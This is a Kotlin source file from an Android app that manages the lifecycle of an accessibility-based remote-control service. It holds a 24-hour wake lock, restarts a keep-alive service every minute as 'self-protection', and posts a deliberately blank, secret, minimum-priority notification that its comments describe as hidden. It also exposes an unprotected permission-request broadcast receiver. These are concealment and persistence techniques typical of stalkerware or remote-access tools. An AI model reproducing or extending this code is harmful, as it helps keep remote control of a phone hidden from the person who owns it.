package com.hikoncont.service.modules

import android.accessibilityservice.AccessibilityService
import android.app.NotificationChannel
import android.app.NotificationManager
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.os.Build
import android.os.Handler
import android.os.HandlerThread
import android.os.PowerManager
import android.util.Log
import androidx.core.app.NotificationCompat
import com.hikoncont.R
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.service.KeepAliveService
import kotlinx.coroutines.*

/**
 * 服务生命周期管理器
 * 负责AccessibilityService的生命周期管理
 * 
 * 主要职责:
 * - 服务连接和初始化
 * - 服务销毁和清理
 * - 服务中断处理
 * - WakeLock管理
 * - 保活机制管理
 * - 自我保护机制
 */
class ServiceLifecycleManager(
    private val service: AccessibilityRemoteService,
    private val context: Context
) {
    companion object {
        private const val TAG = "ServiceLifecycleManager"
        private const val NOTIFICATION_CHANNEL_ID = "remote_control_service"
        private const val NOTIFICATION_ID = 1001
    }
    
    // 协程作用域
    private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
    
    // WakeLock保活
    private var wakeLock: PowerManager.WakeLock? = null
    
    // 后台处理Handler
    private var backgroundHandler: Handler? = null
    private var handlerThread: HandlerThread? = null
    
    // 权限申请广播接收器
    private var permissionRequestReceiver: BroadcastReceiver? = null
    
    // 服务状态
    private var isInitialized = false
    
    /**
     * 处理服务连接
     */
    fun handleServiceConnected() {
        Log.i(TAG, "🚀 无障碍服务已连接")
        
        // 注册权限申请广播接收器
        registerPermissionRequestReceiver()
        
        // 初始化后台Handler
        initializeBackgroundHandler()
        
        // 获取WakeLock保活
        acquireWakeLock()
        
        // 启动保活机制
        startKeepAliveServices()
        
        // 启动自我保护
        startSelfProtection()
        
        // 初始化服务
        initializeService()
        
        Log.i(TAG, "✅ 服务生命周期初始化完成")
    }
    
    /**
     * 处理服务销毁
     */
    fun handleServiceDestroy() {
        Log.i(TAG, "🛑 无障碍服务正在销毁")
        
        try {
            // 释放WakeLock
            releaseWakeLock()
            
            // 清理资源
            cleanup()
            
            // 注销广播接收器
            unregisterPermissionRequestReceiver()
            
            // 清理后台Handler
            cleanupBackgroundHandler()
            
            // 取消所有协程
            serviceScope.cancel()
            
            isInitialized = false
            
            Log.i(TAG, "✅ 服务生命周期清理完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 服务销毁清理失败", e)
        }
    }
    
    /**
     * 处理服务中断
     */
    fun handleServiceInterrupt() {
        Log.w(TAG, "⚠️ 无障碍服务被中断")
        
        try {
            // 暂停相关功能，但不完全清理
            // 等待服务恢复
            Log.i(TAG, "🔄 服务中断处理完成，等待恢复")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 服务中断处理失败", e)
        }
    }
    
    /**
     * 获取WakeLock保活
     */
    private fun acquireWakeLock() {
        try {
            val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
            wakeLock = powerManager.newWakeLock(
                PowerManager.PARTIAL_WAKE_LOCK,
                "RemoteControl::AccessibilityService"
            )
            // 24小时强力保活
            wakeLock?.acquire(24 * 60 * 60 * 1000L)
            Log.i(TAG, "🔋 AccessibilityService WakeLock已获取 (24小时)")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取AccessibilityService WakeLock失败", e)
        }
    }
    
    /**
     * 释放WakeLock
     */
    private fun releaseWakeLock() {
        try {
            wakeLock?.release()
            wakeLock = null
            Log.i(TAG, "🔋 AccessibilityService WakeLock已释放")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 释放AccessibilityService WakeLock失败", e)
        }
    }
    
    /**
     * 初始化后台Handler
     */
    private fun initializeBackgroundHandler() {
        try {
            handlerThread = HandlerThread("AccessibilityBackground").apply {
                start()
                backgroundHandler = Handler(looper)
            }
            Log.d(TAG, "✅ 后台Handler初始化完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 后台Handler初始化失败", e)
        }
    }
    
    /**
     * 清理后台Handler
     */
    private fun cleanupBackgroundHandler() {
        try {
            backgroundHandler = null
            handlerThread?.quit()
            handlerThread = null
            Log.d(TAG, "✅ 后台Handler清理完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 后台Handler清理失败", e)
        }
    }
    
    /**
     * 启动保活服务
     */
    private fun startKeepAliveServices() {
        try {
            val keepAliveIntent = Intent(context, KeepAliveService::class.java)
            context.startService(keepAliveIntent)
            Log.i(TAG, "🛡️ 保活服务已启动")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动保活服务失败", e)
        }
    }
    
    /**
     * 启动自我保护机制
     */
    private fun startSelfProtection() {
        serviceScope.launch {
            while (isActive) {
                try {
                    delay(60 * 1000) // 每60秒检查一次
                    ensureKeepAliveService()
                    Log.d(TAG, "✅ 自我保护检查完成")
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 自我保护检查失败", e)
                }
            }
        }
    }
    
    /**
     * 确保保活服务运行
     */
    private fun ensureKeepAliveService() {
        try {
            if (!isServiceRunning(KeepAliveService::class.java)) {
                Log.w(TAG, "⚠️ 保活服务停止，重新启动")
                val intent = Intent(context, KeepAliveService::class.java)
                context.startService(intent)
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 确保保活服务失败", e)
        }
    }
    
    /**
     * 检查服务是否运行
     */
    private fun isServiceRunning(serviceClass: Class<*>): Boolean {
        return try {
            val manager = context.getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
            val services = manager.getRunningServices(Integer.MAX_VALUE)
            services.any { serviceInfo ->
                serviceClass.name == serviceInfo.service.className
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查服务运行状态失败", e)
            false
        }
    }
    
    /**
     * 初始化服务
     */
    private fun initializeService() {
        serviceScope.launch {
            try {
                createNotificationChannel()
                startForegroundNotification()
                isInitialized = true
                Log.i(TAG, "✅ 服务初始化完成")
            } catch (e: Exception) {
                Log.e(TAG, "❌ 服务初始化失败", e)
            }
        }
    }
    
    /**
     * 创建通知渠道
     */
    private fun createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            val channel = NotificationChannel(
                NOTIFICATION_CHANNEL_ID,
                "服务通知",
                NotificationManager.IMPORTANCE_MIN // ✅ 最低重要性
            ).apply {
                description = "服务运行通知"
                setShowBadge(false)
                enableLights(false)
                enableVibration(false)
                setSound(null, null)
            }
            
            val notificationManager = context.getSystemService(NotificationManager::class.java)
            notificationManager.createNotificationChannel(channel)
        }
    }
    
    /**
     * 显示前台通知
     */
    private fun startForegroundNotification() {
        try {
            val notification = NotificationCompat.Builder(context, NOTIFICATION_CHANNEL_ID)
                .setContentTitle("") // ✅ 隐藏标题
                .setContentText("") // ✅ 隐藏内容
                .setSmallIcon(R.drawable.ic_remote_control)
                .setPriority(NotificationCompat.PRIORITY_MIN) // ✅ 最低优先级
                .setOngoing(true)
                .setVisibility(NotificationCompat.VISIBILITY_SECRET) // ✅ 隐藏通知
                .setShowWhen(false) // ✅ 不显示时间
                .build()
            
            val notificationManager = context.getSystemService(NotificationManager::class.java)
            notificationManager.notify(NOTIFICATION_ID, notification)
        } catch (e: Exception) {
            Log.e(TAG, "❌ 显示前台通知失败", e)
        }
    }
    
    /**
     * 注册权限申请广播接收器
     */
    private fun registerPermissionRequestReceiver() {
        try {
            permissionRequestReceiver = object : BroadcastReceiver() {
                override fun onReceive(context: Context?, intent: Intent?) {
                    if (intent?.action == "android.mycustrecev.REQUEST_PERMISSION") {
                        Log.i(TAG, "📢 收到权限申请广播")
                        handlePermissionRequest()
                    }
                }
            }
            
            val filter = IntentFilter("android.mycustrecev.REQUEST_PERMISSION")
            context.registerReceiver(permissionRequestReceiver, filter)
            Log.d(TAG, "✅ 权限申请广播接收器已注册")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 注册权限申请广播接收器失败", e)
        }
    }
    
    /**
     * 注销权限申请广播接收器
     */
    private fun unregisterPermissionRequestReceiver() {
        try {
            permissionRequestReceiver?.let { 
                context.unregisterReceiver(it)
                permissionRequestReceiver = null
                Log.d(TAG, "✅ 权限申请广播接收器已注销")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 注销权限申请广播接收器失败", e)
        }
    }
    
    /**
     * 处理权限申请请求
     */
    private fun handlePermissionRequest() {
        serviceScope.launch {
            try {
                Log.i(TAG, "🛠️ 处理权限申请请求")
                // 具体实现可以调用相应的权限管理器
            } catch (e: Exception) {
                Log.e(TAG, "❌ 处理权限申请请求失败", e)
            }
        }
    }
    
    /**
     * 清理资源
     */
    private fun cleanup() {
        try {
            Log.d(TAG, "🧹 开始清理服务资源")
            Log.d(TAG, "✅ 服务资源清理完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 清理服务资源失败", e)
        }
    }
    
    /**
     * 获取后台Handler
     */
    fun getBackgroundHandler(): Handler? = backgroundHandler
    
    /**
     * 检查服务是否已初始化
     */
    fun isInitialized(): Boolean = isInitialized
    
    /**
     * 获取协程作用域
     */
    fun getServiceScope(): CoroutineScope = serviceScope
} 